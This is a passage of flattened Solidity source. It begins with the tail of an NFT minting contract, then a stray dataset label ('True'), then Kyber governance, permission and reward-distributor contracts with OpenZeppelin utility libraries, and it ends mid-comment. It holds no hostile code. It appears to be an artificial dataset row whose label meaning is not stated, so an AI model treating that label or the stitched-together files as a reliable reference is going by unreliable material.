uint256 private totalTeam;
constructor () ERC721 ("The Rameniers", "WAGER") {
}
// Standard mint function
function mint() public payable {
require(saleActive, "Sale isn't active.");
uint256 mintIndex = _tokenSupply.current() ;
require(mintIndex < MAX_SUPPLY, "Sale sold out");
require(msg.value >= MINT_PRICE, "Wrong amount of ETH sent.");
_tokenSupply.increment();
_safeMint(msg.sender, mintIndex);
}
// Presale minting
function presaleMint() public payable {
require(presaleActive, "Presale isn't active.");
uint256 mintIndex = _tokenSupply.current() ;
require(mintIndex < MAX_PRESALE_SUPPLY, "Presale sold out");
require(msg.value >= PRESALE_MINT_PRICE, "Wrong amount of ETH sent.");
_tokenSupply.increment();
_safeMint(msg.sender, mintIndex);
}
// Admin minting function to reserve tokens for the team, collabs, customs and giveaways
function mintReserved() public onlyOwner {
uint256 mintIndex = _tokenSupply.current() ;
totalTeam = totalTeam+1;
require(totalTeam <= RESERVED, "No more for the team");
require(mintIndex < MAX_SUPPLY, "Sold out");
_tokenSupply.increment();
_safeMint(msg.sender, mintIndex);
}
/** URI HANDLING **/
string private customBaseURI;
function setBaseURI(string memory customBaseURI_) external onlyOwner {
customBaseURI = customBaseURI_;
}
function _baseURI() internal view virtual override returns (string memory) {
return customBaseURI;
}
function tokenURI(uint256 tokenId) public view override
returns (string memory)
{
return string(abi.encodePacked(super.tokenURI(tokenId)));
}
// ============ OWNER-ONLY ADMIN FUNCTIONS ============
function tokensMinted() public view returns (uint256) {
return _tokenSupply.current();
}
// Start and stop presale
function setPresaleActive(bool val) public onlyOwner {
presaleActive = val;
}
// Start and stop sale
function setSaleActive(bool val) public onlyOwner {
saleActive = val;
}
// Set a different preprice in case ETH changes drastically
function setPresalePrice(uint256 newPrice) public onlyOwner {
PRESALE_MINT_PRICE = newPrice;
}
// Set a different price in case ETH changes drastically
function setSalePrice(uint256 newPrice) public onlyOwner {
MINT_PRICE = newPrice;
}
/** PAYOUT **/
function withdrawAll() external onlyOwner {
uint256 balance = address(this).balance;
require(balance > 0, "No ether left to withdraw");
Address.sendValue(payable(owner()), balance);
}
function _beforeTokenTransfer(address from, address to, uint256 tokenId) internal override(ERC721) {
super._beforeTokenTransfer(from, to, tokenId);
}
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC721) returns (bool) {
return super.supportsInterface(interfaceId);
}
} | True | [
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|
// SPDX-License-Identifier: agpl-3.0
pragma solidity 0.7.6;
import {SafeERC20} from '@openzeppelin/contracts/token/ERC20/SafeERC20.sol';
import {PermissionAdmin} from '@kyber.network/utils-sc/contracts/PermissionAdmin.sol';
import {PermissionOperators} from '@kyber.network/utils-sc/contracts/PermissionOperators.sol';
import {IERC20Ext} from '@kyber.network/utils-sc/contracts/IERC20Ext.sol';
import {IKyberGovernance} from '../interfaces/governance/IKyberGovernance.sol';
import {IRewardsDistributor} from '../interfaces/rewardDistribution/IRewardsDistributor.sol';
/**
Internal contracts to participate in KyberDAO and claim rewards for Kyber
Only accept external delegation, all reward will be transferred
*/
contract KyberInternalGovernance is PermissionOperators {
using SafeERC20 for IERC20Ext;
IERC20Ext public constant ETH_TOKEN_ADDRESS = IERC20Ext(0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE);
address payable public rewardRecipient;
IKyberGovernance public governance;
IRewardsDistributor public rewardDistributor;
constructor(
address _admin,
address payable _rewardRecipient,
IKyberGovernance _governance,
IRewardsDistributor _rewardDistributor,
address _operator
) PermissionAdmin(_admin) {
require(_rewardRecipient != address(0), "invalid reward recipient");
require(_governance != IKyberGovernance(0), "invalid kyber governance");
require(_rewardDistributor != IRewardsDistributor(0), "invalid reward distributor");
rewardRecipient = _rewardRecipient;
governance = _governance;
rewardDistributor = _rewardDistributor;
if (_operator != address(0)) {
// consistent with current design
operators[_operator] = true;
operatorsGroup.push(_operator);
emit OperatorAdded(_operator, true);
}
}
receive() external payable {}
/**
* @dev only operator can vote, given list of proposal ids
* and an option for each proposal
*/
function vote(
uint256[] calldata proposalIds,
uint256[] calldata optionBitMasks
)
external onlyOperator
{
require(proposalIds.length == optionBitMasks.length, "invalid length");
for(uint256 i = 0; i < proposalIds.length; i++) {
governance.submitVote(proposalIds[i], optionBitMasks[i]);
}
}
/**
* @dev anyone can call to claim rewards for multiple epochs
* @dev all eth will be sent back to rewardRecipient
*/
function claimRewards(
uint256 cycle,
uint256 index,
IERC20Ext[] calldata tokens,
uint256[] calldata cumulativeAmounts,
bytes32[] calldata merkleProof
)
external
returns (uint256[] memory claimAmounts)
{
claimAmounts = rewardDistributor.claim(
cycle, index, address(this), tokens, cumulativeAmounts, merkleProof
);
for(uint256 i = 0; i < tokens.length; i++) {
uint256 bal = tokens[i] == ETH_TOKEN_ADDRESS ?
address(this).balance : tokens[i].balanceOf(address(this));
if (bal > 0) _transferToken(tokens[i], bal);
}
}
function updateRewardRecipient(address payable _newRecipient)
external onlyAdmin
{
require(_newRecipient != address(0), "invalid address");
rewardRecipient = _newRecipient;
}
/**
* @dev most likely unused, but put here for flexibility or in case a mistake in deployment
*/
function updateKyberContracts(
IKyberGovernance _governance,
IRewardsDistributor _rewardDistributor
)
external onlyAdmin
{
require(_governance != IKyberGovernance(0), "invalid kyber dao");
require(_rewardDistributor != IRewardsDistributor(0), "invalid reward distributor");
governance = _governance;
rewardDistributor = _rewardDistributor;
}
/**
* @dev allow withdraw funds of any tokens to rewardRecipient address
*/
function withdrawFund(
IERC20Ext[] calldata tokens,
uint256[] calldata amounts
) external {
require(tokens.length == amounts.length, "invalid length");
for(uint256 i = 0; i < tokens.length; i++) {
_transferToken(tokens[i], amounts[i]);
}
}
function _transferToken(IERC20Ext token, uint256 amount) internal {
if (token == ETH_TOKEN_ADDRESS) {
(bool success, ) = rewardRecipient.call { value: amount }("");
require(success, "transfer eth failed");
} else {
token.safeTransfer(rewardRecipient, amount);
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.0;
import "./IERC20.sol";
import "../../math/SafeMath.sol";
import "../../utils/Address.sol";
/**
* @title SafeERC20
* @dev Wrappers around ERC20 operations that throw on failure (when the token
* contract returns false). Tokens that return no value (and instead revert or
* throw on failure) are also supported, non-reverting calls are assumed to be
* successful.
* To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract,
* which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
*/
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
/**
* @dev Deprecated. This function has issues similar to the ones found in
* {IERC20-approve}, and its usage is discouraged.
*
* Whenever possible, use {safeIncreaseAllowance} and
* {safeDecreaseAllowance} instead.
*/
function safeApprove(IERC20 token, address spender, uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
/**
* @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement
* on the return value: the return value is optional (but if data is returned, it must not be false).
* @param token The token targeted by the call.
* @param data The call data (encoded using abi.encode or one of its variants).
*/
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since
// we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity 0.7.6;
abstract contract PermissionAdmin {
address public admin;
address public pendingAdmin;
event AdminClaimed(address newAdmin, address previousAdmin);
event TransferAdminPending(address pendingAdmin);
constructor(address _admin) {
require(_admin != address(0), "admin 0");
admin = _admin;
}
modifier onlyAdmin() {
require(msg.sender == admin, "only admin");
_;
}
/**
* @dev Allows the current admin to set the pendingAdmin address.
* @param newAdmin The address to transfer ownership to.
*/
function transferAdmin(address newAdmin) public onlyAdmin {
require(newAdmin != address(0), "new admin 0");
emit TransferAdminPending(newAdmin);
pendingAdmin = newAdmin;
}
/**
* @dev Allows the current admin to set the admin in one tx. Useful initial deployment.
* @param newAdmin The address to transfer ownership to.
*/
function transferAdminQuickly(address newAdmin) public onlyAdmin {
require(newAdmin != address(0), "admin 0");
emit TransferAdminPending(newAdmin);
emit AdminClaimed(newAdmin, admin);
admin = newAdmin;
}
/**
* @dev Allows the pendingAdmin address to finalize the change admin process.
*/
function claimAdmin() public {
require(pendingAdmin == msg.sender, "not pending");
emit AdminClaimed(pendingAdmin, admin);
admin = pendingAdmin;
pendingAdmin = address(0);
}
}
// SPDX-License-Identifier: MIT
pragma solidity 0.7.6;
import "./PermissionAdmin.sol";
abstract contract PermissionOperators is PermissionAdmin {
uint256 private constant MAX_GROUP_SIZE = 50;
mapping(address => bool) internal operators;
address[] internal operatorsGroup;
event OperatorAdded(address newOperator, bool isAdd);
modifier onlyOperator() {
require(operators[msg.sender], "only operator");
_;
}
function getOperators() external view returns (address[] memory) {
return operatorsGroup;
}
function addOperator(address newOperator) public onlyAdmin {
require(!operators[newOperator], "operator exists"); // prevent duplicates.
require(operatorsGroup.length < MAX_GROUP_SIZE, "max operators");
emit OperatorAdded(newOperator, true);
operators[newOperator] = true;
operatorsGroup.push(newOperator);
}
function removeOperator(address operator) public onlyAdmin {
require(operators[operator], "not operator");
operators[operator] = false;
for (uint256 i = 0; i < operatorsGroup.length; ++i) {
if (operatorsGroup[i] == operator) {
operatorsGroup[i] = operatorsGroup[operatorsGroup.length - 1];
operatorsGroup.pop();
emit OperatorAdded(operator, false);
break;
}
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity 0.7.6;
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
/**
* @dev Interface extending ERC20 standard to include decimals() as
* it is optional in the OpenZeppelin IERC20 interface.
*/
interface IERC20Ext is IERC20 {
/**
* @dev This function is required as Kyber requires to interact
* with token.decimals() with many of its operations.
*/
function decimals() external view returns (uint8 digits);
}
// SPDX-License-Identifier: agpl-3.0
pragma solidity 0.7.6;
pragma abicoder v2;
import {IExecutorWithTimelock} from './IExecutorWithTimelock.sol';
import {IVotingPowerStrategy} from './IVotingPowerStrategy.sol';
interface IKyberGovernance {
enum ProposalState {
Pending,
Canceled,
Active,
Failed,
Succeeded,
Queued,
Expired,
Executed,
Finalized
}
enum ProposalType {Generic, Binary}
/// For Binary proposal, optionBitMask is 0/1/2
/// For Generic proposal, optionBitMask is bitmask of voted options
struct Vote {
uint32 optionBitMask;
uint224 votingPower;
}
struct ProposalWithoutVote {
uint256 id;
ProposalType proposalType;
address creator;
IExecutorWithTimelock executor;
IVotingPowerStrategy strategy;
address[] targets;
uint256[] weiValues;
string[] signatures;
bytes[] calldatas;
bool[] withDelegatecalls;
string[] options;
uint256[] voteCounts;
uint256 totalVotes;
uint256 maxVotingPower;
uint256 startTime;
uint256 endTime;
uint256 executionTime;
string link;
bool executed;
bool canceled;
}
struct Proposal {
ProposalWithoutVote proposalData;
mapping(address => Vote) votes;
}
struct BinaryProposalParams {
address[] targets;
uint256[] weiValues;
string[] signatures;
bytes[] calldatas;
bool[] withDelegatecalls;
}
/**
* @dev emitted when a new binary proposal is created
* @param proposalId id of the binary proposal
* @param creator address of the creator
* @param executor ExecutorWithTimelock contract that will execute the proposal
* @param strategy votingPowerStrategy contract to calculate voting power
* @param targets list of contracts called by proposal's associated transactions
* @param weiValues list of value in wei for each propoposal's associated transaction
* @param signatures list of function signatures (can be empty) to be used
* when created the callData
* @param calldatas list of calldatas: if associated signature empty,
* calldata ready, else calldata is arguments
* @param withDelegatecalls boolean, true = transaction delegatecalls the taget,
* else calls the target
* @param startTime timestamp when vote starts
* @param endTime timestamp when vote ends
* @param link URL link of the proposal
* @param maxVotingPower max voting power for this proposal
**/
event BinaryProposalCreated(
uint256 proposalId,
address indexed creator,
IExecutorWithTimelock indexed executor,
IVotingPowerStrategy indexed strategy,
address[] targets,
uint256[] weiValues,
string[] signatures,
bytes[] calldatas,
bool[] withDelegatecalls,
uint256 startTime,
uint256 endTime,
string link,
uint256 maxVotingPower
);
/**
* @dev emitted when a new generic proposal is created
* @param proposalId id of the generic proposal
* @param creator address of the creator
* @param executor ExecutorWithTimelock contract that will execute the proposal
* @param strategy votingPowerStrategy contract to calculate voting power
* @param options list of proposal vote options
* @param startTime timestamp when vote starts
* @param endTime timestamp when vote ends
* @param link URL link of the proposal
* @param maxVotingPower max voting power for this proposal
**/
event GenericProposalCreated(
uint256 proposalId,
address indexed creator,
IExecutorWithTimelock indexed executor,
IVotingPowerStrategy indexed strategy,
string[] options,
uint256 startTime,
uint256 endTime,
string link,
uint256 maxVotingPower
);
/**
* @dev emitted when a proposal is canceled
* @param proposalId id of the proposal
**/
event ProposalCanceled(uint256 proposalId);
/**
* @dev emitted when a proposal is queued
* @param proposalId id of the proposal
* @param executionTime time when proposal underlying transactions can be executed
* @param initiatorQueueing address of the initiator of the queuing transaction
**/
event ProposalQueued(
uint256 indexed proposalId,
uint256 executionTime,
address indexed initiatorQueueing
);
/**
* @dev emitted when a proposal is executed
* @param proposalId id of the proposal
* @param initiatorExecution address of the initiator of the execution transaction
**/
event ProposalExecuted(uint256 proposalId, address indexed initiatorExecution);
/**
* @dev emitted when a vote is registered
* @param proposalId id of the proposal
* @param voter address of the voter
* @param voteOptions vote options selected by voter
* @param votingPower Power of the voter/vote
**/
event VoteEmitted(
uint256 indexed proposalId,
address indexed voter,
uint32 indexed voteOptions,
uint224 votingPower
);
/**
* @dev emitted when a vote is registered
* @param proposalId id of the proposal
* @param voter address of the voter
* @param voteOptions vote options selected by voter
* @param oldVotingPower Old power of the voter/vote
* @param newVotingPower New power of the voter/vote
**/
event VotingPowerChanged(
uint256 indexed proposalId,
address indexed voter,
uint32 indexed voteOptions,
uint224 oldVotingPower,
uint224 newVotingPower
);
event DaoOperatorTransferred(address indexed newDaoOperator);
event ExecutorAuthorized(address indexed executor);
event ExecutorUnauthorized(address indexed executor);
event VotingPowerStrategyAuthorized(address indexed strategy);
event VotingPowerStrategyUnauthorized(address indexed strategy);
/**
* @dev Function is triggered when users withdraw from staking and change voting power
*/
function handleVotingPowerChanged(
address staker,
uint256 newVotingPower,
uint256[] calldata proposalIds
) external;
/**
* @dev Creates a Binary Proposal (needs to be validated by the Proposal Validator)
* @param executor The ExecutorWithTimelock contract that will execute the proposal
* @param strategy voting power strategy of the proposal
* @param executionParams data for execution, includes
* targets list of contracts called by proposal's associated transactions
* weiValues list of value in wei for each proposal's associated transaction
* signatures list of function signatures (can be empty)
* to be used when created the callData
* calldatas list of calldatas: if associated signature empty,
* calldata ready, else calldata is arguments
* withDelegatecalls boolean, true = transaction delegatecalls the taget,
* else calls the target
* @param startTime start timestamp to allow vote
* @param endTime end timestamp of the proposal
* @param link link to the proposal description
**/
function createBinaryProposal(
IExecutorWithTimelock executor,
IVotingPowerStrategy strategy,
BinaryProposalParams memory executionParams,
uint256 startTime,
uint256 endTime,
string memory link
) external returns (uint256 proposalId);
/**
* @dev Creates a Generic Proposal
* @param executor ExecutorWithTimelock contract that will execute the proposal
* @param strategy votingPowerStrategy contract to calculate voting power
* @param options list of proposal vote options
* @param startTime timestamp when vote starts
* @param endTime timestamp when vote ends
* @param link URL link of the proposal
**/
function createGenericProposal(
IExecutorWithTimelock executor,
IVotingPowerStrategy strategy,
string[] memory options,
uint256 startTime,
uint256 endTime,
string memory link
) external returns (uint256 proposalId);
/**
* @dev Cancels a Proposal,
* either at anytime by guardian
* or when proposal is Pending/Active and threshold no longer reached
* @param proposalId id of the proposal
**/
function cancel(uint256 proposalId) external;
/**
* @dev Queue the proposal (If Proposal Succeeded)
* @param proposalId id of the proposal to queue
**/
function queue(uint256 proposalId) external;
/**
* @dev Execute the proposal (If Proposal Queued)
* @param proposalId id of the proposal to execute
**/
function execute(uint256 proposalId) external payable;
/**
* @dev Function allowing msg.sender to vote for/against a proposal
* @param proposalId id of the proposal
* @param optionBitMask vote option(s) selected
**/
function submitVote(uint256 proposalId, uint256 optionBitMask) external;
/**
* @dev Function to register the vote of user that has voted offchain via signature
* @param proposalId id of the proposal
* @param choice the bit mask of voted options
* @param v v part of the voter signature
* @param r r part of the voter signature
* @param s s part of the voter signature
**/
function submitVoteBySignature(
uint256 proposalId,
uint256 choice,
uint8 v,
bytes32 r,
bytes32 s
) external;
/**
* @dev Add new addresses to the list of authorized executors
* @param executors list of new addresses to be authorized executors
**/
function authorizeExecutors(address[] calldata executors) external;
/**
* @dev Remove addresses to the list of authorized executors
* @param executors list of addresses to be removed as authorized executors
**/
function unauthorizeExecutors(address[] calldata executors) external;
/**
* @dev Add new addresses to the list of authorized strategies
* @param strategies list of new addresses to be authorized strategies
**/
function authorizeVotingPowerStrategies(address[] calldata strategies) external;
/**
* @dev Remove addresses to the list of authorized strategies
* @param strategies list of addresses to be removed as authorized strategies
**/
function unauthorizeVotingPowerStrategies(address[] calldata strategies) external;
/**
* @dev Returns whether an address is an authorized executor
* @param executor address to evaluate as authorized executor
* @return true if authorized
**/
function isExecutorAuthorized(address executor) external view returns (bool);
/**
* @dev Returns whether an address is an authorized strategy
* @param strategy address to evaluate as authorized strategy
* @return true if authorized
**/
function isVotingPowerStrategyAuthorized(address strategy) external view returns (bool);
/**
* @dev Getter the address of the guardian, that can mainly cancel proposals
* @return The address of the guardian
**/
function getDaoOperator() external view returns (address);
/**
* @dev Getter of the proposal count (the current number of proposals ever created)
* @return the proposal count
**/
function getProposalsCount() external view returns (uint256);
/**
* @dev Getter of a proposal by id
* @param proposalId id of the proposal to get
* @return the proposal as ProposalWithoutVote memory object
**/
function getProposalById(uint256 proposalId) external view returns (ProposalWithoutVote memory);
/**
* @dev Getter of the vote data of a proposal by id
* including totalVotes, voteCounts and options
* @param proposalId id of the proposal
* @return (totalVotes, voteCounts, options)
**/
function getProposalVoteDataById(uint256 proposalId)
external
view
returns (
uint256,
uint256[] memory,
string[] memory
);
/**
* @dev Getter of the Vote of a voter about a proposal
* Note: Vote is a struct: ({uint32 bitOptionMask, uint224 votingPower})
* @param proposalId id of the proposal
* @param voter address of the voter
* @return The associated Vote memory object
**/
function getVoteOnProposal(uint256 proposalId, address voter)
external
view
returns (Vote memory);
/**
* @dev Get the current state of a proposal
* @param proposalId id of the proposal
* @return The current state if the proposal
**/
function getProposalState(uint256 proposalId) external view returns (ProposalState);
}
// SPDX-License-Identifier: MIT
pragma solidity 0.7.6;
import {IERC20Ext} from '@kyber.network/utils-sc/contracts/IERC20Ext.sol';
interface IRewardsDistributor {
event Claimed(
uint256 indexed cycle,
address indexed user,
IERC20Ext[] tokens,
uint256[] claimAmounts
);
/**
* @dev Claim accumulated rewards for a set of tokens at a given cycle number
* @param cycle cycle number
* @param index user reward info index in the array of reward info
* during merkle tree generation
* @param user wallet address of reward beneficiary
* @param tokens array of tokens claimable by reward beneficiary
* @param cumulativeAmounts cumulative token amounts claimable by reward beneficiary
* @param merkleProof merkle proof of claim
* @return claimAmounts actual claimed token amounts sent to the reward beneficiary
**/
function claim(
uint256 cycle,
uint256 index,
address user,
IERC20Ext[] calldata tokens,
uint256[] calldata cumulativeAmounts,
bytes32[] calldata merkleProof
) external returns (uint256[] memory claimAmounts);
/**
* @dev Checks whether a claim is valid or not
* @param cycle cycle number
* @param index user reward info index in the array of reward info
* during merkle tree generation
* @param user wallet address of reward beneficiary
* @param tokens array of tokens claimable by reward beneficiary
* @param cumulativeAmounts cumulative token amounts claimable by reward beneficiary
* @param merkleProof merkle proof of claim
* @return true if valid claim, false otherwise
**/
function isValidClaim(
uint256 cycle,
uint256 index,
address user,
IERC20Ext[] calldata tokens,
uint256[] calldata cumulativeAmounts,
bytes32[] calldata merkleProof
) external view returns (bool);
/**
* @dev Fetch accumulated claimed rewards for a set of tokens since the first cycle
* @param user wallet address of reward beneficiary
* @param tokens array of tokens claimed by reward beneficiary
* @return userClaimedAmounts claimed token amounts by reward beneficiary since the first cycle
**/
function getClaimedAmounts(address user, IERC20Ext[] calldata tokens)
external
view
returns (uint256[] memory userClaimedAmounts);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.0;
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
/**
* @dev Returns the substraction of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b > a) return (false, 0);
return (true, a - b);
}
/**
* @dev Returns the multiplication of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
/**
* @dev Returns the division of two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b == 0) return (false, 0);
return (true, a / b);
}
/**
* @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b == 0) return (false, 0);
return (true, a % b);
}
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
return a - b;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) return 0;
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers, reverting on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: division by zero");
return a / b;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: modulo by zero");
return a % b;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {trySub}.
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
return a - b;
}
/**
* @dev Returns the integer division of two unsigned integers, reverting with custom message on
* division by zero. The result is rounded towards zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryDiv}.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a / b;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting with custom message when dividing by zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryMod}.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a % b;
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.0;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
